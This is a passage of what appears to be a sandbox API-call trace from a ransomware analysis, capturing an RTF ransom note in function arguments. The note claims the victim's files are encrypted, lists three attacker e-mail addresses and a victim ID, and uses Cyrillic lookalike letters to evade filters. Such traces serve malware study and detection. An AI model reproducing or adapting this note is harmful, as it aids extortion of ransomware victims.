t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 